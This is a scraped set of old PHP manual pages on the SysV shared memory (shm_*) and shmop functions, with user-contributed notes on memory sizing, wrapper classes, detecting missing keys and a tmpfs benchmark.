Responding to jpeter1978 at yahoo dot com ... Assuming a character is typically two bytes, the size of a serialized variable (incl array or obj) is 2 * its strlen().  The 44 is 4 more than the 24 + 16 = 40 suggested by php at cytrax dot de plus 4 bytes for worst case 4-byte alignment.  So this is probably a reliable formula if you are too lazy to align it using something similar to zeppelinux at comcast dot net as in:

($strlen($serialized_array_or_obj) /4 ) * 4 ) + 40;

The zeppelinux formula would use 20 (for 4-byte integer cpu) or 36 (for 64-bit or 8-byte cpu) for the ending constant so 40 or 44 is probably just achieving header padding but it certainly can't hurt.
zeppelinux at comcast dot net 14-Aug-2008 12:19
<?php

//how to calculate the  minimum $memsize required to store the variable $foo where $foo='foobar'.

// when shm_attach() is called for the first time, PHP writes a header to the beginning of the shared memory.
$shmHeaderSize = (PHP_INT_SIZE * 4) + 8;

// when shm_put_var() is called, the variable is serialized and a small header is placed in front of it before it is written to shared memory.
$shmVarSize = (((strlen(serialize($foo))+ (4 * PHP_INT_SIZE)) /4 ) * 4 ) + 4;

// now add the two together to get the total memory required. Of course, if you are storing more than one variable then you dont need to add $shmHeaderSize for each variable, only add it once.
$memsize = $shmHeaderSize + $shmVarSize;

//this will give you just enough memory to store the one variable using shm_put_var().
$shm_id = shm_attach ( $key, $memsize, 0666 ) ;
shm_put_var  ( $shm_id  , $variable_key  , $foo  );

any attempt to store another variable will result in a 'not enough memory' error.
Be aware that if you change the contents of $foo to a larger value and then you try to write it to shared memory again using shm_put_var(), then you will get a 'not enough memory' error. In this case, you will have to resize your shared memory segment and then write the new value.

If you are only storing variables that contain a single integer value, then you can avoid having to resize by always allocating the largest amount of memory that is required to store an int, which should be:
$shmIntVarSize = (((strlen(serialize(PHP_INT_MAX))+ (4 * PHP_INT_SIZE)) /4 ) * 4 ) + 4;

?>
hetii at poczta dot onet dot pl 11-Jan-2008 05:18
Hi :)
I write small class for build bright message between my application.

<?
class Bright_Message
{

var $bright;
var $SHM_KEY;
var $my_pid;

        function Bright_Message($SHM_KEY=null)
        {
                $this->my_pid = getmypid();//Get own pid
                if (is_null($SHM_KEY)) $this->SHM_KEY = '123123123';
                $this->bright = shm_attach($this->SHM_KEY, 1024, 0666);
                $this->one_instance();
        }

        function get_msg($id,$remove=true)
        {
                if(@$msg=shm_get_var($this->bright,$id))
                {
                   if ($remove) @shm_remove_var($this->bright,$id);
                   return $msg;
                } else return false;
        }

        function snd_msg($id,$msg)
        {
                @shm_put_var($this->bright,$id,$msg);
                return true;
        }

        function one_instance()
        {
                $SHM_PID = $this->get_msg(1,false);
                if((strpos(exec('ps p'.$SHM_PID),$_SERVER['SCRIPT_FILENAME'])) === false)
                $this->snd_msg(1,$this->my_pid); else
                {
                        echo "This program exists on pid: $SHM_PID\r\n\r\n";
                        exit;
                }
        }

}
?>

send.php:
<?
include "bridge_message.class.php";
$shm = new Bright_Message();
$shm->snd_msg(2,'this is my simple message');
?>

receive.php:
<?
include "bridge_message.class.php";
$shm = new Bright_Message();
$msg = get_msg(2);
echo print_r($msg,1);
?>
jpeter1978 at yahoo dot com 03-Aug-2007 03:35
I tried all the suggestions above for getting the object size (in bytes) for $memsize, but they didn't work universally for the two types of objects I tried (string and array of strings).

After doing some googling and experimenting, I've found the following magic formula:

$memsize = ( strlen( serialize( $object ) ) + 44 ) * 2;

I found this in someone else's code, so I can't explain it.
Uther Pendragon 08-Mar-2007 09:08
As a follow-up to my last post regarding shm_attach and its limit capability for knowing how it was created....

for more control, use the shmop_* series of functions, as they have finer grained control than these.

and by the way:  the SHMOP functions SHOULD BE listed under "see also" for all the SHM* wrapper functions (I assume they are wrappers to the SHMOP* functions).
Uther Pendragon 24-Jan-2007 08:26
Since there aren't seperate functions for CREATING and ATTACHING shared memory (a mistake in my opinion), you might want to do some testing to check whether you've created it or not, as you may not want the slave of a master/slave pair to ever create the shared memory.

One way you can test this is by having your slave set the size to something small, then testing the size by putting a variable too large to fit, e.g.:

function get_shmem() {
     return shm_attach(ftok('somefile.txt', 'T'), 100, 0644);
}

$shm = get_shmem();

while (!@shm_put_var($shm, 1, str_repeat('.....', 20))) {
     shm_remove($shm);
     sleep(1);
     //we created it, so we'll remove it and sleep to wait for the master to create it, then try again.
     $shm = get_shmem();
}
shm_remove_var($shm, 1);
//here we know the shared memory was already created, because we could put a variable in bigger than the size requested.

Another way you can handle it is to have all programs initialize the shared memory with the same parameters... I had a problem with this when my clients starting too fast and created the shmem without passing a memsize value, so it was defaulting to 10k which was too small.
Katzenmeier 04-Nov-2006 03:36
The limit for one SHM block seems to be 32 MB, but you can split your data in several SHM blocks if you need to. The total SHM limit seems to be about 8 GB.

I'm not sure whether this is true for all configurations.
muytoloco at yahoo dot com dot br 23-Feb-2006 09:33
If one process make a shm_attach to one inexistent memory area, this area will be created under the same priviliegies of the script running user. If another process will try to create or acces the same area, runnig by other user with different privileges of the first user, an error will occur.
rch at todo dot com dot uy 28-Mar-2005 04:17
Cecil, the key of a var is an integer (not the name ). You can put multiples vars in the same share.

#!/usr/local/bin/php -q
<?PHP

$SHM_KEY = ftok(__FILE__, chr( 4 ) );

$data =  shm_attach($SHM_KEY, 1024, 0666);

$test1 = array("hello","world","1","2","3");
$test2 = array("hello","world","4","5","6");
$test3 = array("hello","world","7","8","9");

shm_put_var($data, 1, $test1);
shm_put_var($data, 2,$test2);
shm_put_var($data, 3,$test3);

print_r(shm_get_var($data, 1));
print_r(shm_get_var($data, 2));
print_r(shm_get_var($data, 3));

shm_detach($data);
?>
andreyKEINSPAM at php dot net 24-Apr-2004 09:31
As far as I see from the sources of ext/sysvshm, it's not needed to  do  arithmetic (bit) OR (|) of "perm" with  IPC_CREAT (and IPC_EXCL). The extension will do it for you. It tries to attach to the memory segment and if the try did not succeed it tries to attach but with flags set to user_flag | IPC_CREAT | IPC_EXCL.
The exact code (shm_flag is the third param to the function) :
if ((shm_id = shmget(shm_key, 0, 0)) < 0) {
      if (shm_size < sizeof(sysvshm_chunk_head)) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "failed for key 0x%x: memorysize too small", shm_key);
            efree(shm_list_ptr);
            RETURN_FALSE;
      }
      if ((shm_id = shmget(shm_key, shm_size, shm_flag | IPC_CREAT | IPC_EXCL)) < 0) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "failed for key 0x%x: %s", shm_key, strerror(errno));
             efree(shm_list_ptr);
             RETURN_FALSE;
     }
}
Cecil 18-Mar-2004 12:37
Here is an example of how to use one shared memory block to store multiple variables or arrays.. unfortunetly in order to store more than ONE variable, you have to use sem_get() multiple times.. same goes for shm_attach(), shm_put_var() and shm_get_var()

#!/usr/local/bin/php -q
<?PHP
// test.php

$SHM_KEY = ftok(__FILE__,'A');

$shmid  = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid2 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid3 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);

$data =  shm_attach($shmid, 1024);
$data2 = shm_attach($shmid2, 1024);
$data3 = shm_attach($shmid3, 1024);

$test = array("hello","world","1","2","3");
$test2 = array("hello","world","4","5","6");
$test3 = array("hello","world","7","8","9");

shm_put_var($data,$inmem,$test);
shm_put_var($data2,$inmem2,$test2);
shm_put_var($data3,$inmem3,$test3);

print_r(shm_get_var($data,$inmem));
print_r(shm_get_var($data2,$inmem2));
print_r(shm_get_var($data3,$inmem3));

shm_detach($data);
shm_detach($data2);
shm_detach($data2);
?>

to REALLY test it.. create a second script like so and run it..

#!/usr/local/bin/php -q
<?PHP
// test2.php

$SHM_KEY = ftok(__FILE__,'A');

$shmid  = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid2 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid3 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);

$data =  shm_attach($shmid, 1024);
$data2 = shm_attach($shmid2, 1024);
$data3 = shm_attach($shmid3, 1024);

print_r(shm_get_var($data,$inmem));
print_r(shm_get_var($data2,$inmem2));
print_r(shm_get_var($data3,$inmem3));

shm_detach($data);
shm_detach($data2);
shm_detach($data2);
?>

As you can see, test2.php doesn't insert anything into shared memory.. yet it pulls out 3 totally different arrays already stored..

Hope that helps.. took me a bit to get it right.. everyone seems to have their own idea of how shm should be used. lol.

BTW, not sure how the ftok works to be honest, cause I didn't change the __FILE__ to match the file path of test.php or anything.. I would think that the file path out have to be the exact same to work correctly.. oh well, it worked as-is! haha..

- Cecil
php at cytrax dot de 18-Jan-2002 08:36
The memsize needed for shared memory (tested on linux system) can be calculated with:

For each varialbe you want to store: 24 Bytes
+ serialized var-size (see below) alligned by 4 Bytes
+ 16 Bytes

For a update of a var with the same key, the memory for the old var will be needed extra.
koester at x-itec dot de 21-Mar-2001 12:41
4194304 means 4 MB and NOT 4 GB for shared memory on FreeBSD. You can increase the shared memory at runtime if you like.
lew at persiankitty dot com 25-Jan-2001 04:30
Finding out shared memory kernel settings in FreeBSD:

sys1# sysctl -a | grep -i SHM

kern.ipc.shmmax: 4194304
kern.ipc.shmmin: 1
kern.ipc.shmmni: 96
kern.ipc.shmseg: 64
kern.ipc.shmall: 1024
kern.ipc.shm_use_phys: 0

Shows us that we can allocate a total of 4GB (wow) of shared memory, etc...
webmaster at mail dot communityconnect dot com 10-Sep-1999 01:50
With Sun Solaris 2.x, the MAXIMUM shared memory value allowed is 1,048,576.  The maximum allowed value can be determined using the command /usr/sbin/sysdef.  On Linux, there does not seem to be any system enforced maximum size.  To change the maximum allowed size on Solaris 2.x, use set shmsys:shminfo_shmmax=[new value].
h dot raaf at i-k-c dot net 25-Mar-1999 05:40
Notice that 'int key' for shared-memory is shared with the keys used for semaphores. So you get in trouble when you use the same key value for semaphores and shared memory!
eric at superstats dot com 12-Feb-1999 07:04
Objects are stored serialized in shm_put_var, so to find a value for memsize, you can use strlen(serialize($object_to_store_in_shm)).
sem_remove
shm_detach
Semaphore Functions


Disconnects from shared memory segment

shm_attach
shm_get_var
Semaphore Functions
PHP Manual

shm_detach

(PHP 4, PHP 5)

shm_detach — Disconnects from shared memory segment

Description

bool shm_detach ( resource $shm_identifier )

shm_detach() disconnects from the shared memory given by the shm_identifier created by shm_attach(). Remember, that shared memory still exist in the Unix system and the data is still present.

Parameters

shm_identifier

A shared memory resource handle as returned by shm_attach()

Return Values

shm_detach() always returns TRUE.

See Also

  • shm_attach() - Creates or open a shared memory segment
  • shm_remove() - Removes shared memory from Unix systems
  • shm_remove_var() - Removes a variable from shared memory

User Contributed Notes

There are no user contributed notes for this page.
shm_attach
shm_get_var
Semaphore Functions


Returns a variable from shared memory

shm_detach
shm_has_var
Semaphore Functions
PHP Manual

shm_get_var

(PHP 4, PHP 5)

shm_get_var — Returns a variable from shared memory

Description

mixed shm_get_var ( resource $shm_identifier , int $variable_key )

shm_get_var() returns the variable with a given variable_key, in the given shared memory segment. The variable is still present in the shared memory.

Parameters

shm_identifier

Shared memory segment, obtained from shm_attach().

variable_key

The variable key.

Return Values

Returns the variable with the given key.

See Also

  • shm_has_var() - Check whether a specific entry exists
  • shm_put_var() - Inserts or updates a variable in shared memory

User Contributed Notes

hackmac at nowhere dot com 24-Jun-2009 02:19
hello everyone i came up with some sort of solution to the shm_get_var()
returns false on error/returns a boolean false variable problem.

test script

<?php

    error_reporting(E_ALL);
    ini_set('display_errors', '1');

    echo '<pre>';
    echo ini_get('sysvshm.init_mem');

    require_once('ClassShmWrapper.php5');

    $nKey = ftok(__FILE__,'x');

    $myShm = new ClassShmWrapper($nKey);

    $myShm->attachToSegment();

    #$mValue = range(1,rand(3,10));
    #$myShm->nVarKey = count($mrValue);

    #$mValue = FALSE;

    /*
    $mValue = TRUE;
    $myShm->nVarKey = 1;
    $myShm->mVar = $mValue;
    $myShm->putVarToSegment();
    */

    #$myShm->nVarKey = 2;
    $myShm->nVarKey = 1;

    if ($myShm->getVarFromSegment()) {
        echo "found var in shm\n";
    }
    else {
        echo "could NOT find var in shm\n";
    }

    $myShm->detachFromSegment();

    echo "\ndumping " . '$myShm->mVar' . "\n";
    var_dump($myShm->mVar);

?>

class for using the shm_ functions & class for storing boolean values

<?php

    class ClassShmWrapper {

        public $nPermissions;
        public $nKey;
        public $nBytesMemorySize;

        public $nShmId;

        public $nVarKey;
        public $mVar;

        public function __construct($nKey,$nBytesMemorySize=50000,$nPermissions=0666) {

            $this->nKey = $nKey;
            $this->nBytesMemorySize = $nBytesMemorySize;
            $this->nPermissions = $nPermissions;
        }

        public function attachToSegment() {
            $this->nShmId = shm_attach($this->nKey,$this->nBytesMemorySize,$this->nPermissions);
        }

        public function detachFromSegment() {
            shm_detach($this->nShmId);
        }

        public function removeSegment() {
            shm_remove($this->nShmId);
        }

        public function getVarFromSegment() {

            $mVar = NULL;

            if (($mVar = @shm_get_var($this->nShmId,$this->nVarKey)) !== FALSE) {

                $this->mVar = $mVar;

                unset($mVar);

                /*
                    For variables of type boolean we need to access an object property which stores the boolean value.
                    This is needed as shm_get_var() could return FALSE when returning a boolean variable set to FALSE
                    or when a non-existing variable key was tried to access!
                */

                if ($this->mVar instanceof ClassShmBooleanWrapper) {
                    $this->mVar = $this->mVar->bVal;
                }

                return TRUE;
            }
            else {

                return FALSE;
            }

        }

        /**
        * Puts a PHP variable into shared memory (or updates an existing one for the given variable key).
        *
        * @return boolean returns TRUE on success/FALSE on error
        */
        public function putVarToSegment() {

            // cmp -> comment getVarFromSegment()
            if (is_bool($this->mVar)) {

                return shm_put_var($this->nShmId,$this->nVarKey,new ClassShmBooleanWrapper($this->mVar));

            }
            else {
                return shm_put_var($this->nShmId,$this->nVarKey,$this->mVar);
            }

        }

        public function removeVarFromSgement() {

            shm_remove_var($this->nShmId,$this->nVarKey);
        }

    } // end class

    class ClassShmBooleanWrapper {

        public $bVal;

        public function __construct($bVal) {
            $this->bVal = $bVal;
        }

    } // end class

?>
php at pharse dot com 03-Dec-2008 12:05
I was annoyed by this warning when using shm_get_var():

Warning: shm_get_var() [function.shm-get-var]: variable key 2 doesn't exist in PATH_TO_FILE on line 64.

You can suppress the warning by changing the error reporting level. To do this for just the page in question, include the following line:

<?php
    error_reporting(E_ERROR);
?>

For more info: http://us.php.net/error_reporting
ricardophp at yahoo dot com dot br 27-Sep-2008 02:18
A fully functional sample  ...

<?php
echo "<PRE>\n";

define("FOPEN_RESOURCE", 1);

$shm_id = shm_attach(FOPEN_RESOURCE);
if ($shm_id === false) {
    exit("Fail to attach shared memory.\n");
}

$fopen_resource = fopen("/tmp/phpSharedMemory.bin", "w");

$a =  array("Teste1", 1);
if (!shm_put_var($shm_id, $a, $a)) {
    exit("Failed to put var 1 in shared memory $shm_id.\n");
}

echo "F: ".$a[0].":".$a[1]."\n";
$pid = pcntl_fork();

if($pid == -1) {
  die("could not fork\n");
}
else if ($pid) {
    $a = array("Teste2", 3);
    if (!shm_put_var($shm_id, $a, $a)) {
        exit("Failed to put var 1 in shared memory $shm_id.\n");
    }
    echo "P1: ".$a[0].":".$a[1]."\n";
} else {
    sleep(2);
    $a = shm_get_var($shm_id, $a);
    echo "P2: ".$a[0].":".$a[1]."\n";
}
pcntl_wait($status);
exit();
?>
JM 14-May-2005 03:50
To follow up on the posts by anonymous, Bob Van Zant and chris at free-source dot com below (or, as must people inexplicably write, above) regarding the PHP warning and FALSE that shm_get_var returns if the variable key doesn't exist:

My tests (with PHP4.3.4) show that defined() is useless here. Because the function defined(string) checks whether the constant whose name is string exists, the code
<?php
if ( defined(@shm_get_var($mutex, $mutex_key)) {
   ...
}
?>
acts the same ("..." does not get executed) whether the variable is defined or not--unless $mutex_key happens to identify a valid string that happens to be the name of a constant. :)

Rather,
<?php
if ( @shm_get_var($mutex, $mutex_key) === FALSE ) {
   ...
}
?>
works, provided the object that was stored isn't actually FALSE (via <?php shm_put_var($mutex, $mutex_key, FALSE); ?>)

It would be nice to have a completely air-tight solution, though.  D'oh!
06-May-2005 02:01
You will still receive a notice use @:

if(!defined(@shm_get_var($mutex, $mutex_key))) {
       shm_put_var($mutex, $mutex_key, 0);
}
Bob Van Zant 18-Feb-2005 12:05
This seems to work fine to detect the lack of presence of a key in shared memory and then init it to 0 when found:

if(!defined(shm_get_var($mutex, $mutex_key))) {
        shm_put_var($mutex, $mutex_key, 0);
}
chris at free-source dot com 05-Dec-2004 02:47
if the variable_key asked for does not exist php generates a warning and shm_get_var() will return bool(false).  there doesn't seem to be a clean way to test if a key exists.
shm_detach
shm_has_var
Semaphore Functions


Check whether a specific entry exists

shm_get_var
shm_put_var
Semaphore Functions
PHP Manual

shm_has_var

(PHP 5 >= 5.3.0)

shm_has_var — Check whether a specific entry exists

Description

bool shm_has_var ( resource $shm_identifier , int $variable_key )

Checks whether a specific key exists inside a shared memory segment.

Parameters

shm_identifier

Shared memory segment, obtained from shm_attach().

variable_key

The variable key.

Return Values

Returns TRUE if the entry exists, otherwise FALSE

See Also

  • shm_get_var() - Returns a variable from shared memory
  • shm_put_var() - Inserts or updates a variable in shared memory

User Contributed Notes

There are no user contributed notes for this page.
shm_get_var
shm_put_var
Semaphore Functions


Inserts or updates a variable in shared memory

shm_has_var
shm_remove_var
Semaphore Functions
PHP Manual

shm_put_var

(PHP 4, PHP 5)

shm_put_var — Inserts or updates a variable in shared memory

Description

bool shm_put_var ( resource $shm_identifier , int $variable_key , mixed $variable )

shm_put_var() inserts or updates the variable with the given variable_key.

Warnings (E_WARNING level) will be issued if shm_identifier is not a valid SysV shared memory index or if there was not enough shared memory remaining to complete your request.

Parameters

shm_identifier

A shared memory resource handle as returned by shm_attach()

variable_key

The variable key.

variable

The variable. All variable types that serialize() supports may be used: generally this means all types except for resources and some internal objects that cannot be serialized.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • shm_get_var() - Returns a variable from shared memory
  • shm_has_var() - Check whether a specific entry exists

User Contributed Notes

orwellophile at spamtrak dot org 06-Apr-2010 04:17
Quote: "Will it ever support resource identifiers like pfsockopen() pointers ...  we run PHP as a Apache Module ... no way to have true persistent sockets"

Sorry, but that doesn't make sense to me... the socket is still persistent, if you wish to resume it, simply call pfsockopen() with the same host and port - and you will get the same socket.  There is no need to pass the actual resource variable.

If there is something amazingly special and unique about each socket, you can do the following - and this should apply to any persistent resource:

To differentiate between or obtain a specific resource - simply serialize/store an index of each resource's unique ID, along with the particulars that make that resource unique.

You can get a unique resource identifier as an integer value like so:

<?php
   $rid = str_replace("Resource id #", "", print_r($fp, true));
   // $rid = 2
?>

As pfsockopen() uses the hostname and port as a unique key to resume a persistent connection, you can add a DNS wildcard, or a number of manual entries in /etc/hosts (or windows equiv.) as follows:

resource-0.host.com  192.168.100.1
resource-1.host.com  192.168.100.1
resource-2.host.com  192.168.100.1
resource-3.host.com  192.168.100.1

Then, after consulting your serialized list of resources, you can connect to a specific resource by using it's resource id.

eg:  $pf = pfsockopen("resource-$rid.host.com", $port, $timeout);

The new resource will be identical to the original in every way.

For file based stream resources you could do something similar with symlinks, or use the next method...

For URL based or other resources with "paths" (I don't know if there *are* persistent functions that involve such things) you could differentiate between them with using extraneous information in the path.  eg:

  http://host.com/resource-4/../script.php
  http://resource4@host.com/script.php
  /tmp/././././file.txt

In the first example, the extraneous "resource-4" would be ignored by the webserver.

In the second, the superfluous username would be ignored by the webserver.  (Something similar for mysql_pconnect could be done with multiple usernames).

And in the the third example, four sequential occurrences of the "do nothing" string "./" would indicate resource #4.

If this isn't enough, then you can use the fact that PHP shared memory resources are themselves interoperable with those created by their .c counterparts.   That allows you to write a thin .c application to handle the dirty work.

Or you could attempt to reconnect to your own webserver, using persistent streams and the methods outlined above, to achieve the end result.   I can't think of an example of where something so extreme would be necessary, but I'm sure it's not outside the realm of possibility.

I personally use an 117 MB binary database, which is stored in shared memory, both from the command line (using a complied .c application), and from the web (via PHP, and ftok()/shmop_open()/shmop_read()).
ygbr at me dot com 12-Oct-2009 02:25
Will it ever support resource identifiers like pfsockopen() pointers?

The main problem is that when we run PHP as a Apache Module we never know in which process the next request will bind to, making impossible to have true persistent socket connections unless we can store the pointer to it or directly open the socket inode with fopen() like functions and retrieve the same resource pointer again.

I thought I could use shm, but it seems that shm doesn't allow o store resource pointers... sad... :(
Hendrik Klindworth 02-Feb-2009 08:28
shm_put_var has no protection against race conditions. If two scripts insert the same key at the same time php might segfault.
jasonrlester at yahoo dot com 25-Apr-2008 12:51
sadly troy is right

the following script will return:

resource(5) of type (stream)
int(0)

<?php

define("FOPEN_RESOURCE", 1);
define("FOPEN_FILEPATH", "/path/to/file");

$fopen_resource = fopen(FOPEN_FILEPATH, "w");

var_dump($fopen_resource);

$shm_id = shm_attach(1);
if ($shm_id === false)
{
    echo "Fail to attach shared memory.\n";
}

if (!shm_put_var($shm_id, FOPEN_RESOURCE, $fopen_resource))
{
    echo "Failed to put var 1 in shared memory $shm_id.\n";
}

$sm_fopen_resource = shm_get_var($shm_id, FOPEN_RESOURCE);
if ($sm_fopen_resource === false)
{
    echo "Failed to retreive fopen_resource from Shared memory\r\n";
}

var_dump($sm_fopen_resource);

if($shm_id) shm_remove($shm_id);
if($fopen_resource) fclose($fopen_resource);

?>
troy 06-Mar-2008 07:02
This isn't entirely accurate. Not all variable types are supported, you can't put a resource variable into shared memory.

When you try to take it out, it will be a zero.
tomlove at gmail dot com 30-Sep-2004 04:53
Use as few variable_keys as you can. With large arrays of data, rather make the array multi-dimensional and store under one variable_key than use variable_key as your index. The benefit is especially noticeable when repeated fetching from the end of the array is necessary and updates are less frequent.
shm_has_var
shm_remove_var
Semaphore Functions


Removes a variable from shared memory

shm_put_var
shm_remove
Semaphore Functions
PHP Manual

shm_remove_var

(PHP 4, PHP 5)

shm_remove_var — Removes a variable from shared memory

Description

bool shm_remove_var ( resource $shm_identifier , int $variable_key )

Removes a variable with a given variable_key and frees the occupied memory.

Parameters

shm_identifier

The shared memory identifier as returned by shm_attach()

variable_key

The variable key.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • shm_remove() - Removes shared memory from Unix systems

User Contributed Notes

There are no user contributed notes for this page.
shm_put_var
shm_remove
Semaphore Functions


Removes shared memory from Unix systems

shm_remove_var
Shared Memory
Semaphore Functions
PHP Manual

shm_remove

(PHP 4, PHP 5)

shm_remove — Removes shared memory from Unix systems

Description

bool shm_remove ( resource $shm_identifier )

shm_remove() removes the shared memory shm_identifier. All data will be destroyed.

Parameters

shm_identifier

The shared memory identifier as returned by shm_attach()

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • shm_remove_var() - Removes a variable from shared memory

User Contributed Notes

aaron DURP segura DURP gmail DURP com 19-Aug-2006 04:55
It appears that you must be connected to the shm segment in order to remove it.

<?php
shm_remove($shm);
shm_detach($shm);
?>

works, while

<?php
shm_detach($shm);
shm_remove($shm);
?>

produces "Warning: shm_remove(): The parameter is not a valid shm_identifier ..."
cu at ulakbim dot gov dot tr 29-Dec-1999 08:30
Though it says **shm_identifier** in
  int shm_remove(int shm_identifier);
and
  shm_attach() returns an **id** that that can be used to access the System V...

a snippet like this:
<?php
  $key = 1234;
  $shm=shm_attach($key);
  // do whatever...
  shm_remove($shm);
?>

produces an error like
Warning: 2(which is the value of $shm) is not a existing SysV shared memory key in /usr/cu/web/sema.php on line 44...

The documentation confused me a bit. I thought shm_remove would get the shm handle/id that returns from shm_attach, not the key given to shm_attach. So, use instead:
  shm_remove($key);

which is what is intended indeed.
shm_remove_var
Shared Memory
Semaphore Functions


Shared Memory

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Shared Memory Functions
    • shmop_close — Close shared memory block
    • shmop_delete — Delete shared memory block
    • shmop_open — Create or open shared memory block
    • shmop_read — Read data from shared memory block
    • shmop_size — Get size of shared memory block
    • shmop_write — Write data into shared memory block

User Contributed Notes

There are no user contributed notes for this page.
shm_remove
Introduction
Process Control Extensions


Introduction

Shmop is an easy to use set of functions that allows PHP to read, write, create and delete Unix shared memory segments.

Note: Versions of Windows previous to Windows 2000 do not support shared memory.

Note: In PHP 4.0.3, these functions were prefixed by shm rather than shmop.

User Contributed Notes

There are no user contributed notes for this page.
Shared Memory
Installing/Configuring
Shared Memory


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Shared Memory


Installation

To use shmop you will need to compile PHP with the --enable-shmop parameter in your configure line.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Shared Memory


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
Shared Memory


Basic usage

Example #1 Shared Memory Operations Overview

<?php

// Create 100 byte shared memory block with system id of 0xff3
$shm_id = shmop_open(0xff3, "c", 0644, 100);
if (!$shm_id) {
    echo "Couldn't create shared memory segment\n";
}

// Get shared memory block's size
$shm_size = shmop_size($shm_id);
echo "SHM Block Size: " . $shm_size . " has been created.\n";

// Lets write a test string into shared memory
$shm_bytes_written = shmop_write($shm_id, "my shared memory block", 0);
if ($shm_bytes_written != strlen("my shared memory block")) {
    echo "Couldn't write the entire length of data\n";
}

// Now lets read the string back
$my_string = shmop_read($shm_id, 0, $shm_size);
if (!$my_string) {
    echo "Couldn't read from shared memory block\n";
}
echo "The data inside shared memory was: " . $my_string . "\n";

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
    echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
Shared Memory Functions
Examples


Shared Memory Functions

Table of Contents

  • shmop_close — Close shared memory block
  • shmop_delete — Delete shared memory block
  • shmop_open — Create or open shared memory block
  • shmop_read — Read data from shared memory block
  • shmop_size — Get size of shared memory block
  • shmop_write — Write data into shared memory block

User Contributed Notes

joeldg at gmail.com 09-Feb-2006 11:28
I wrote a php memcache back in 2003 as a sort of proof of concept
it is use on a few machines for doing heavy page load caching...
it works very well.
Following are some of the core functions I made

<?php
###############################################
#### shared mem functions
/*
    for debugging these
        use `ipcs` to view current memory
        use `ipcrm -m {shmid}` to remove
        on some systems use `ipcclean` to clean up unused memory if you
        don't want to do it by hand
*/
###############################################
    function get_key($fsize, $file){
        if(!file_exists(TMPDIR.TMPPRE.$file)){
            touch(TMPDIR.TMPPRE.$file);
        }
        $shmkey = @shmop_open(ftok(TMPDIR.TMPPRE.$file, 'R'), "c", 0644, $fsize);
        if(!$shmkey) {
                return false;
        }else{
            return $shmkey;
        }//fi
    }
    function writemem($fdata, $shmkey){
        if(MEMCOMPRESS && function_exists('gzcompress')){
            $fdata = @gzcompress($fdata, MEMCOMPRESSLVL);
        }
        $fsize = strlen($fdata);
        $shm_bytes_written = shmop_write($shmkey, $fdata, 0);
        updatestats($shm_bytes_written, "add");
        if($shm_bytes_written != $fsize) {
                return false;
        }else{
            return $shm_bytes_written;
        }//fi
    }
    function readmem($shmkey, $shm_size){
        $my_string = @shmop_read($shmkey, 0, $shm_size);
        if(MEMCOMPRESS && function_exists('gzuncompress')){
            $my_string = @gzuncompress($my_string);
        }
        if(!$my_string) {
                return false;
        }else{
            return $my_string;
        }//fi
    }
    function deletemem($shmkey){
        $size = @shmop_size($shmkey);
        if($size > 0){ updatestats($size, "del"); }
        if(!@shmop_delete($shmkey)) {
            @shmop_close($shmkey);
                return false;
        }else{
            @shmop_close($shmkey);
            return true;
        }
    }
    function closemem($shmkey){
        if(!shmop_close($shmkey)) {
                return false;
        }else{
            return true;
        }
    }
    function iskey($size, $key){
        if($ret = get_key($size, $key)){
            return $ret;
        }else{
            return false;
        }
    }
################################################
?>
Roy <roy AT enhost.com> 28-Jan-2006 09:58
I have written a script to highlight the superiority of shared memory storage.
Although it doesn't use the shmop function, the underlying concept is similar.
'/shm_dir/' is a tmpfs directory, which is based on shared memory, that I have mounted on the server.

Below is the result on an Intel Pentium VI 2.8 server:

IO test on 1000 files
IO Result of Regular Directory : 0.079015016555786
IO Result of Shared Memory Directory : 0.047761917114258

IO test on 10000 files
IO Result of Regular Directory : 3.7090260982513
IO Result of Shared Memory Directory : 0.46256303787231

IO test on 40000 files
IO Result of Regular Directory : 117.35703110695 seconds
IO Result of Shared Memory Directory : 2.6221358776093 seconds

The difference is not very apparent nor convincing at 100 files.
But when we step it up a level to 10000 and 40000 files, it becomes pretty obvious that Shared Memory is a better contender.

Script courtesy of http://www.enhost.com

<?php
set_time_limit(0);

// Your regular directory. Make sure it is write enabled
$setting['regular_dir'] =  '/home/user/regular_directory/';

// Your shared memory directory.
$setting['shm_dir'] =  '/shm_dir/';

// Number of files to read and write
$setting['files'] =  40000;

function IO_Test($mode)
{
    $starttime = time()+microtime();

    global $setting;

        for($i = 0 ; $i< $setting['files'] ;$i++)
        {
            $filename = $setting[$mode].'test'.$i.'.txt';
            $content = "Just a random content";

                // Just some error detection
               if (!$handle = fopen($filename, 'w+'))
               {
                     echo "Can't open the file ".$filename;
                     exit;
               }

               if (fwrite($handle, $content ) === FALSE)
               {
                   echo "Can't write to file : ".$filename;
                   exit;
               }

               fclose($handle);

            // Read Test
            file_get_contents($filename);

        }

   $endtime = time()+microtime();

   $totaltime = ($endtime - $starttime);

   return $totaltime;

}

echo '<b>IO test on '.$setting['files']. ' files</b><br>';
echo 'IO Result of <b>Regular</b> Directory : '.IO_Test('regular_dir')   .' seconds<br>';
echo 'IO Result of <b>Shared Memory</b> Directory : '.IO_Test('shm_dir')       .' seconds<br>';

/* Removal of files to avoid underestimation
#
#         Failure to remove files will result in inaccurate benchmark
